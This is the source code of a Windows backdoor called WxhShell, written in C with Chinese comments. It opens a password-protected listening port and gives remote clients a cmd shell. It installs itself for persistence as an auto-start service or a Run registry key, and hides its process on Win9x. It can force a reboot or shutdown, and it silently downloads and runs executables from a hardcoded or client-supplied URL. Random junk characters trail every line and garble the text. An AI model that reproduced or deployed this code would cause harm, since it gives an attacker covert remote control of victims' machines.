    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?UD2}D[M  
    if(Boot(SHUTDOWN)) cEkf9:_La  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0*?/s\>PS;  
    else { EW;R^?Z  
    closesocket(wsh); a.P7O!2Lp  
    ExitThread(0); }T<[JXh=J  
    } );4lM%]eb  
    break; r>v_NKS]t  
    } eq^<5 f  
  // 获取shell  ByP  
  case 's': {  Fa  
    CmdShell(wsh); $nR1AOm}.B  
    closesocket(wsh); qmzg68  
    ExitThread(0); jKFypIZ4  
    break; r!/=Iy@  
  } py9zDWk~  
  // 退出 R@lmX%Z1  
  case 'x': { 4 VtI8f!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UhQsT^b_  
    CloseIt(wsh); {(mT,}`4  
    break; rn1^6qy)  
    } sW/^82(dM  
  // 离开 /_Z--s> j  
  case 'q': { HsA4NRF'7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u\~dsD2)q  
    closesocket(wsh); r;3{%S._  
    WSACleanup(); @^g/`{j>J  
    exit(1); Jw%0t'0Zi  
    break; #BA=?7  
        } bMT1(edm  
  } ]{- >/.oB  
  } EdQ:8h  
nAc02lJh|  
  // 提示信息 7^Y"K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3+6s}u)  
} pk&kJ307  
  } A?l.(qG C_  
_g+^jR4  
  return; WfbG }%&J  
} Y02 cX@K6  
SKTf=rY  
// shell模块句柄 5<o8prt B  
int CmdShell(SOCKET sock) j$l[OZ:#  
{ /S29\^  
STARTUPINFO si; >Mml+4<5  
ZeroMemory(&si,sizeof(si)); fhx_v^< X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tb;!2$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2qEm,x'S  
PROCESS_INFORMATION ProcessInfo; BE n$~4-  
char cmdline[]="cmd"; }?f%cRT$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V!!E)I  
  return 0; J }?F4  
} *P4G}9B|9:  
c_#\'yeW  
// 自身启动模式 I!IWmU6FN  
int StartFromService(void) ka_]s:>+  
{ gXtyl]K:  
typedef struct Q+e|;Mj  
{ plL##?<D<  
  DWORD ExitStatus; RS&l68[6  
  DWORD PebBaseAddress; J!?hajw7N  
  DWORD AffinityMask; x1['+!01  
  DWORD BasePriority; HX1RA 5O  
  ULONG UniqueProcessId; w6 C0]vh  
  ULONG InheritedFromUniqueProcessId; :S Tj <  
}   PROCESS_BASIC_INFORMATION; B+:'Ld](  
O`2;n.>\  
PROCNTQSIP NtQueryInformationProcess; 63b?-.!b  
r)$(>/[$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U 00}jH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; QdaYP  
^l\U6$3  
  HANDLE             hProcess; &WW|! 6  
  PROCESS_BASIC_INFORMATION pbi; I;dc[m  
)bc0 t]Fs  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H]@M00C  
  if(NULL == hInst ) return 0; [}snKogp  
Xy{\>}i]N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ><o dBM-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j6wdqa9!~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5&5 x[S8  
l4c9.'6  
  if (!NtQueryInformationProcess) return 0; ur\v[k=  
Sp+ zP-3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;q:.&dak1  
  if(!hProcess) return 0; 2BA'Zu`  
9F8"(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f?O?2g  
~m~<xtoc  
  CloseHandle(hProcess); Wi3:;`>G<p  
Gi})*U]P|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |KR; $e&  
if(hProcess==NULL) return 0; 8,0p14I5;  
(8C ,"Dc[0  
HMODULE hMod; %<@."uWF*  
char procName[255]; I_ "1.  
unsigned long cbNeeded; =5bef8O  
?3ldHWa  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z1j3F  
BLzl XhHn  
  CloseHandle(hProcess); Bob K>db  
U8_<?Hd  
if(strstr(procName,"services")) return 1; // 以服务启动 mfHZGk[[  
/Jz?~H{%n  
  return 0; // 注册表启动 ~(4;P%L:  
} h^E"eC  
:f?};t+  
// 主模块 m Cvgs  
int StartWxhshell(LPSTR lpCmdLine) !Yx9=>R  
{ $q`650&S*  
  SOCKET wsl; E"p;  
BOOL val=TRUE; 9&R. <I  
  int port=0; m,i@  
  struct sockaddr_in door; > sW9n[  
k&-SB -  
  if(wscfg.ws_autoins) Install(); #'}?.m  
Zo}O,;(F5  
port=atoi(lpCmdLine); .W _'6Q+  
P@ Oq'y[  
if(port<=0) port=wscfg.ws_port; i v7^ !  
ay}} v7)GM  
  WSADATA data; >BU"C+a8g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,DUD4 [3  
9 06b=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   sem:"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y; LL^:rq  
  door.sin_family = AF_INET; s+{)K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); APydZ  
  door.sin_port = htons(port); +C4UM9  
2H7b2%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *c<=IcA  
closesocket(wsl); .!yXto:  
return 1; JQCQpn/  
} H+UA  
CAX)AN  
  if(listen(wsl,2) == INVALID_SOCKET) { ^m ^4LDt  
closesocket(wsl); 9V5}%4k%+  
return 1; i7hWBd4wK  
} qx,>j4y w  
  Wxhshell(wsl); rr/0pa$  
  WSACleanup(); iYwzdW1  
<Sm@ !yx  
return 0; F Xbf7G)H  
F@</Ev  
} B}n tD  
Jw;Tq"&  
// 以NT服务方式启动 {OA2';3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9F[k;Uw  
{ ^Ec);Z  
DWORD   status = 0; bb@@QzR  
  DWORD   specificError = 0xfffffff; [I*zZ`  
ifyWhS++  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D?yiK=:08`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X=QaTV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aj>6q=R  
  serviceStatus.dwWin32ExitCode     = 0; d|T87K>|r"  
  serviceStatus.dwServiceSpecificExitCode = 0; Pc"g  
  serviceStatus.dwCheckPoint       = 0; 8_yhV{  
  serviceStatus.dwWaitHint       = 0; cj=6_k  
0)=U:y.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K"lZwU\:On  
  if (hServiceStatusHandle==0) return; "UUzLa_  
;JQ:S~K9  
status = GetLastError(); q]}fW)r  
  if (status!=NO_ERROR) ;onhc*{lv  
{ -?T:> *]p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v/NkG;NWM  
    serviceStatus.dwCheckPoint       = 0; ozF173iI  
    serviceStatus.dwWaitHint       = 0; yHrYSEM  
    serviceStatus.dwWin32ExitCode     = status; z=YHRS  
    serviceStatus.dwServiceSpecificExitCode = specificError; B.O &KRo  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -u!{8S~wA  
    return; Qf HJZ7K.4  
  } ' 3h"Ol{b  
/XfE6SBz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rd#O ]   
  serviceStatus.dwCheckPoint       = 0; o5k7$0:t/  
  serviceStatus.dwWaitHint       = 0; hq.XO=0"k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M$@Donx  
} o*\Fj}l-  
QzV Q}  
// 处理NT服务事件,比如:启动、停止 VV'K$v3'N8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NT3Ti ?J,  
{ tv,Z>&OM  
switch(fdwControl) ZT;8Wvo  
{ 6S`J7[  
case SERVICE_CONTROL_STOP: Gp&o  
  serviceStatus.dwWin32ExitCode = 0; Vifh`BSP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g!<=NVhYt  
  serviceStatus.dwCheckPoint   = 0; ;:2:f1_  
  serviceStatus.dwWaitHint     = 0; aaa6R|>0  
  { D\"F?>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #`kLU:  
  } {:peArO  
  return; (g>8!Gl  
case SERVICE_CONTROL_PAUSE: x(r>iy  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c-?2>%;(V  
  break; luPj'd?  
case SERVICE_CONTROL_CONTINUE: D' d^rT| H  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1/hk3m(C  
  break; tN-U,6c]  
case SERVICE_CONTROL_INTERROGATE: *3A`7usU  
  break; BH@b]bEJ  
}; Hu4\4x$?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M.*3qWM  
} 5!tiu4LU  
at(oepq  
// 标准应用程序主函数 ;s$bVGHr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9/LnO'&-  
{ -FxE!K  
JZc"4qf@OT  
// 获取操作系统版本 d z-  
OsIsNt=GetOsVer(); RxeyMNd  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -c_}^j  
5:" zs  
  // 从命令行安装 mmf}6ABYT  
  if(strpbrk(lpCmdLine,"iI")) Install(); XkGS3EY  
ZSs)AB_Pe/  
  // 下载执行文件 J.t tJOP  
if(wscfg.ws_downexe) { pb`!_GmB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mrc% 6Ri  
  WinExec(wscfg.ws_filenam,SW_HIDE); =Su~i Oa  
} 0P?\eoB@8  
ggP#2I\  
if(!OsIsNt) { xoT|fgb  
// 如果时win9x,隐藏进程并且设置为注册表启动 e7# B?  
HideProc(); [H-r0Ah  
StartWxhshell(lpCmdLine); 1I^uq>r  
} bOvMXj/HV=  
else @U)k~z2Hk  
  if(StartFromService()) jE.yT(+lW  
  // 以服务方式启动 @ +iO0?f  
  StartServiceCtrlDispatcher(DispatchTable); v +$3Z5  
else :<"b"{X"  
  // 普通方式启动 *'BA# /@  
  StartWxhshell(lpCmdLine); q-k~L\Ys  
rzk]{W  
return 0; udld[f.  
} 8dBG ZwyET  
 + f+#W  
<"}Gvi  
Iz^lED  
=========================================== |^&j'k+A  
qhIO7h  
I"_``*/1  
QP%*`t?  
^ y1P~4w?  
+CQ$-3  
" 7?[{/`k~?  
)|Il@unp/  
#include <stdio.h> 8Ev,9  
#include <string.h> [Y%H8}  
#include <windows.h> @a[Y[F S  
#include <winsock2.h> .5ItH^  
#include <winsvc.h> eG F{.]  
#include <urlmon.h> 0}:wM':G  
|K7zN\ Wq  
#pragma comment (lib, "Ws2_32.lib") }BR@vY'd  
#pragma comment (lib, "urlmon.lib") sy s6 V?  
"c'K8,+?  
#define MAX_USER   100 // 最大客户端连接数 MT?;9ZV}  
#define BUF_SOCK   200 // sock buffer b+6%Mu}o  
#define KEY_BUFF   255 // 输入 buffer `H#G/zOr  
~8htg8CZ`  
#define REBOOT     0   // 重启 (mvzGXNz4  
#define SHUTDOWN   1   // 关机 Y*KHr`\C4  
3P&K<M#\  
#define DEF_PORT   5000 // 监听端口 8'n xc#&  
Mu~DB:Y9e  
#define REG_LEN     16   // 注册表键长度 u#>*"4Q  
#define SVC_LEN     80   // NT服务名长度 5PCMxjon  
jcY:a0[{D  
// 从dll定义API YtWO=+rX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Fh3>y2 `/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Wu\szI"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |J_kS90=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j,%<16f^A  
|V>_l' /  
// wxhshell配置信息 uPvE;E_  
struct WSCFG { -$Ad#Eu]M  
  int ws_port;         // 监听端口 }ag -J."5M  
  char ws_passstr[REG_LEN]; // 口令 <O]TM-h  
  int ws_autoins;       // 安装标记, 1=yes 0=no GQR|t?:t  
  char ws_regname[REG_LEN]; // 注册表键名 O0i)Iu(J7;  
  char ws_svcname[REG_LEN]; // 服务名 FFvF4]|L  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 QL{^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2b`3"S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +)cjW"9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >E:V7Fa  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Af V a[{E  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Pv>W`/*_,s  
$QbaPmHW  
}; 0~;Owu  
VuiK5?m  
// default Wxhshell configuration `62iW3y  
struct WSCFG wscfg={DEF_PORT, ~|>q)4is6a  
    "xuhuanlingzhe", !-OPzfHrI  
    1, 'Drz6K_KrP  
    "Wxhshell", kM>Bk \  
    "Wxhshell", {)c2#h  
            "WxhShell Service", SD=kpf;  
    "Wrsky Windows CmdShell Service", Js706  
    "Please Input Your Password: ", [*jvvkAp  
  1, %`F &,!d  
  "http://www.wrsky.com/wxhshell.exe", N-~Uu6zr  
  "Wxhshell.exe" 3<L>BakD  
    }; Mjr19_.S  
Oosr`e@S  
// 消息定义模块 k|-P&g  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; : K#z~#n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C'a%piX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p3N/"t&>  
char *msg_ws_ext="\n\rExit."; (oKrIm  
char *msg_ws_end="\n\rQuit."; ;@&mR <5j  
char *msg_ws_boot="\n\rReboot..."; <$8`]e?I  
char *msg_ws_poff="\n\rShutdown..."; b_p/ 1W:  
char *msg_ws_down="\n\rSave to "; yN4K^#  
7"iUyZ(  
char *msg_ws_err="\n\rErr!"; Oapv`Z\i~  
char *msg_ws_ok="\n\rOK!"; GIyb0XjTw  
"B^c  
char ExeFile[MAX_PATH]; eOdB<He36  
int nUser = 0; [RqL0EP  
HANDLE handles[MAX_USER]; Z^'i16  
int OsIsNt; yGN2/>]  
K< ;I*cAX  
SERVICE_STATUS       serviceStatus; B_u1FWc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d8o<Q 9   
qMj'%5/  
// 函数声明 Ew9\Y R}  
int Install(void); <EHgPlQn  
int Uninstall(void); P m Zb!|  
int DownloadFile(char *sURL, SOCKET wsh); X,Q'Xe /  
int Boot(int flag); $}*bZ~  
void HideProc(void); 63EwV p/|  
int GetOsVer(void); e{*-_j "I  
int Wxhshell(SOCKET wsl); #KOr-Yg|U  
void TalkWithClient(void *cs); LZ ?z5U:  
int CmdShell(SOCKET sock); *G6Py,- !f  
int StartFromService(void); Vo@gxC,  
int StartWxhshell(LPSTR lpCmdLine); }K8W%h<3S  
Wvg+5Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }ob&d.XZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .w .`1 g   
S*5hO) C  
// 数据结构和表定义 bJ$6[H-:  
SERVICE_TABLE_ENTRY DispatchTable[] = ,y'E#_cTgQ  
{ "G&S`8  
{wscfg.ws_svcname, NTServiceMain}, wTu_Am  
{NULL, NULL} ?aMV{H*Q*  
}; orGkS<P  
GO|1O|?  
// 自我安装 Uzx,aYo X  
int Install(void) 3/j^Ao\fw  
{ S>! YBzm&X  
  char svExeFile[MAX_PATH]; KTQy pv  
  HKEY key; &T i:IC%M  
  strcpy(svExeFile,ExeFile); G(n e8L8  
rKtr&w7X  
// 如果是win9x系统,修改注册表设为自启动 dE`a1H%  
if(!OsIsNt) { )C@O7m*.4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %+=y!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D>U b)i  
  RegCloseKey(key); $P{|^ou3a#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =.sg$VX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2%|0c\y|z=  
  RegCloseKey(key); mHiV};$  
  return 0; 1hz:AUH  
    } H;eGBVi  
  } g ss 3e&  
} tz).]E D  
else { yqY nd<K4  
b `7vWyp  
// 如果是NT以上系统,安装为系统服务 wOlnDQs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '#;%=+=;  
if (schSCManager!=0) ;$\?o  
{ KliMw*5(  
  SC_HANDLE schService = CreateService "IjCuR;#  
  ( +J`HI1  
  schSCManager, 0|D^_1W`R  
  wscfg.ws_svcname, tJ_6dH8Y  
  wscfg.ws_svcdisp, <hS %I  
  SERVICE_ALL_ACCESS, +bGj(T%+'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *i=+["A  
  SERVICE_AUTO_START, FK^JCs^  
  SERVICE_ERROR_NORMAL, X q"_^  
  svExeFile, kzK4i!}  
  NULL, &$,%6X"  
  NULL, 74h[YyVi  
  NULL, qId-v =L  
  NULL, -Tzp;o  
  NULL {#Lj,o  
  ); LhfI"fc  
  if (schService!=0) na5:)j4<  
  { j.b7<Vr4;  
  CloseServiceHandle(schService); s%{8$> 8V.  
  CloseServiceHandle(schSCManager); MKnG:)T<?l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O]XdPH20  
  strcat(svExeFile,wscfg.ws_svcname); n' XvPV|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D^[}:O{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C0eqC u)Q  
  RegCloseKey(key); o)(N*tC  
  return 0; P?zPb'UVqa  
    } iut[?#f^  
  } @AvDV$F  
  CloseServiceHandle(schSCManager); _4#8o\  
} IQ5H`o?[B  
} cEP!DUo  
cIm_~HH  
return 1; N`G* h^YQ  
} }%&hxhR^t3  
5yh:P3 /  
// 自我卸载 zE~{}\J  
int Uninstall(void) ;x|E}XD  
{ >I~$h,  
  HKEY key; Nx%]dOa  
FE0}V}\=h  
if(!OsIsNt) { 7jj.maK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h6yXW! 8  
  RegDeleteValue(key,wscfg.ws_regname); `.Oj^H6  
  RegCloseKey(key); n%SR5+N"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6 aE:v R2  
  RegDeleteValue(key,wscfg.ws_regname); 7lC );  
  RegCloseKey(key); j[^(<R8  
  return 0; HFtl4P  
  } ed=pRb  
} s!vvAD;\  
} \NiW(!Z}  
else {  ?^8CD.|  
{pV\]E\]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); SRUg2)d  
if (schSCManager!=0) /8)-j}gZa  
{ 4/z K3%J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FnoE\2}9  
  if (schService!=0) !mM`+XH  
  { H/rJ:3  
  if(DeleteService(schService)!=0) { aB=&XGV9  
  CloseServiceHandle(schService); n]15 ~GO.  
  CloseServiceHandle(schSCManager); n!Ic.T3PA  
  return 0; Xscm>.di  
  } WDM^rjA|j  
  CloseServiceHandle(schService); x)wlp{rLf  
  } sDylSYq  
  CloseServiceHandle(schSCManager); (}1:]D{)@V  
} :RxWHh3O  
} S .KZ)  
B7*^rbI:X  
return 1; h()Ok9]  
} [SJ)4e|)  
i;CVgdQ8  
// 从指定url下载文件 fP:n=A{  
int DownloadFile(char *sURL, SOCKET wsh) v$P<:M M  
{ 6> fQe8Y  
  HRESULT hr; "vH>xBR[%  
char seps[]= "/"; w_>SxSS7  
char *token;  3ih3O  
char *file; ]12ypcf  
char myURL[MAX_PATH]; DE$HF*WY  
char myFILE[MAX_PATH]; _#jR6g TY  
Dc2U+U(J  
strcpy(myURL,sURL); o\#C#NiT  
  token=strtok(myURL,seps); 75^U<Hz-3{  
  while(token!=NULL) 9{A[n}  
  { ^|P/D  
    file=token; R#n!1~ (  
  token=strtok(NULL,seps); &| d6  
  } rryC^Vma  
*ommU(r8  
GetCurrentDirectory(MAX_PATH,myFILE); /"f4aF[  
strcat(myFILE, "\\"); qwERy{]Sp;  
strcat(myFILE, file); :4&q2-  
  send(wsh,myFILE,strlen(myFILE),0); \\Z{[{OZ  
send(wsh,"...",3,0); "%mu~&Ga  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cnm*&1EzV  
  if(hr==S_OK) <r8sZrY  
return 0; kn^? .^dVX  
else hB !>*AsG  
return 1; l2&s4ERqSm  
VJ8 " Q  
} 9On0om>  
_#SCjFz  
// 系统电源模块 M<%g)jn_  
int Boot(int flag) f4b`*KGf  
{ snH9@!cG8  
  HANDLE hToken; fFSQLtm?E  
  TOKEN_PRIVILEGES tkp; Z [aKic  
pZ IDGy=~  
  if(OsIsNt) { 3YFbT Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n/&}|998?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Cuk!I$  
    tkp.PrivilegeCount = 1; DJ!<:9FD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R)>F*GsR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?}n\&|+  
if(flag==REBOOT) { 19g-#H!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qgk-[zW#  
  return 0; %VSjMZ  
} q[wVC h  
else { ri]"a?Rm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ac2G;}B|  
  return 0; Rg3cqe#O/  
} >k)zd-  
  } fx"~WeVcO  
  else { BJL*Dih m[  
if(flag==REBOOT) { 2qN|<S&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Jn+k$'6 %#  
  return 0; -J`VXG:M  
} IHrG!owf  
else { i'\7P-a  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T2%{pcdV/  
  return 0; fbjT"jSzw  
}  av!'UZP  
} ]9 ArT$  
gQ0W>\xz  
return 1; l_1y#B-k5  
} m j!P ]  
9iwSE(},  
// win9x进程隐藏模块 z5UY0>+VdS  
void HideProc(void) g?mfpwZj  
{ 6]mFw{6qn1  
'1Z3MjX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S{l >|N2q  
  if ( hKernel != NULL ) ` &E-  
  { 1c2zFBl.&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); SXJ]()L?[v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _P:}]5-|  
    FreeLibrary(hKernel); .O1Kwu  
  } kgQyG[u  
Ln4zy*v{  
return; aOOkC&%  
}  (H*EZ  
d*===~  
// 获取操作系统版本 6z-&Zu7@  
int GetOsVer(void) KJLC2,  
{ xV}ybRKV  
  OSVERSIONINFO winfo; B.T|e,g26  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ITmW/Im5  
  GetVersionEx(&winfo); Rr!oT?6J?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o=}vK[0u  
  return 1; y?}R,5k  
  else jW< aAd  
  return 0; PAcbC| y  
} mD]^a;U[X  
8euh]+  
// 客户端句柄模块 O\5q_>]  
int Wxhshell(SOCKET wsl) _ l$1@  
{ WNa#X]*E)  
  SOCKET wsh; Fb^Ae6/i  
  struct sockaddr_in client; 4Up3x+bg  
  DWORD myID; Aq5@k\[  
%ylpn7I\6  
  while(nUser<MAX_USER) :8CYTEc  
{ Ev)aXP  
  int nSize=sizeof(client); {T=rsPp<@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )yyS59s  
  if(wsh==INVALID_SOCKET) return 1; 7k==?,LG3  
K;NaiRP#k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N =0R6{'  
if(handles[nUser]==0) H"n@=DMLm  
  closesocket(wsh); 'a6:3*  
else ,<cF<9h  
  nUser++; &# w~S~  
  } '-?t^@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q@6Je(H  
yrgb6)]nm@  
  return 0; HEMq4v4  
} WokQ X"  
k@RIM(^t  
// 关闭 socket %CaUC'  
void CloseIt(SOCKET wsh) I~f8+DE)  
{ D_(K{? KU  
closesocket(wsh); 1}#RUqFrvS  
nUser--; km[ PbC  
ExitThread(0); 28jm*Cl8  
} GO|EeM!iB  
\.AI;^)X@]  
// 客户端请求句柄 2TZ+R7B?  
void TalkWithClient(void *cs) -y1t;yU.L  
{ Z,ZebS@yG  
MV,;l94?%=  
  SOCKET wsh=(SOCKET)cs; 8>(DQ"h  
  char pwd[SVC_LEN]; OD~TWT_  
  char cmd[KEY_BUFF]; zm9_[0  
char chr[1]; ` g5S  
int i,j; mm@)uV<\  
*K}j>A  
  while (nUser < MAX_USER) { I8]q~Q<-P  
P-*=e8z{  
if(wscfg.ws_passstr) { Ou'<9m!9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9>1 $Jv3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ="Edt+a)t  
  //ZeroMemory(pwd,KEY_BUFF); DdG*eKC  
      i=0; ROfr  
  while(i<SVC_LEN) { wsg u# as|  
cz6\qSh\,  
  // 设置超时 F87aIJ.pGN  
  fd_set FdRead; wwI'n*Q'$  
  struct timeval TimeOut; }ippi6b:r  
  FD_ZERO(&FdRead); h4 X>  
  FD_SET(wsh,&FdRead); H>/LC* 8-  
  TimeOut.tv_sec=8; _hy<11S;  
  TimeOut.tv_usec=0; rdY/QvP0=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {k#RWDespy  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b#2$Pd:(  
Db5y";T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Om/mpU/U  
  pwd=chr[0]; cYaf QyU  
  if(chr[0]==0xd || chr[0]==0xa) { 61}hB>TT:  
  pwd=0; (wtw1E5X  
  break; ^9zFAY.|  
  } h+!   
  i++; mEM/}]2  
    } V(LE4P 1  
oD=6D9c?  
  // 如果是非法用户,关闭 socket (XDK&]U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IxxA8[^V  
} @N'0:0Nb_  
Z%uDz3I\Q"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C6neZng  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ly)b=ph&  
"~uo4n~H  
while(1) { dAZh# i[  
 XM" {"  
  ZeroMemory(cmd,KEY_BUFF); Gf|qc>j.b  
nG dEJ  
      // 自动支持客户端 telnet标准   ,cqZb0VP{t  
  j=0; mI[$c"!BD  
  while(j<KEY_BUFF) { 4)4E/q/5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1hT!~'  
  cmd[j]=chr[0]; *P mk1h2  
  if(chr[0]==0xa || chr[0]==0xd) { Q:+cLl&;hB  
  cmd[j]=0; OlV'#D   
  break; V`7^v:  
  } )&$Zt(  
  j++; " ~X;u8m  
    } vMQvq9T}  
>10pk  
  // 下载文件 52L* :|b  
  if(strstr(cmd,"http://")) { (6WSQqp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S/XkxGZ2  
  if(DownloadFile(cmd,wsh)) Gw;[maM!%`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q6r!=yOEY  
  else KC`~\sYRN]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q;3 v ]h_  
  } @Q=P6Rz {S  
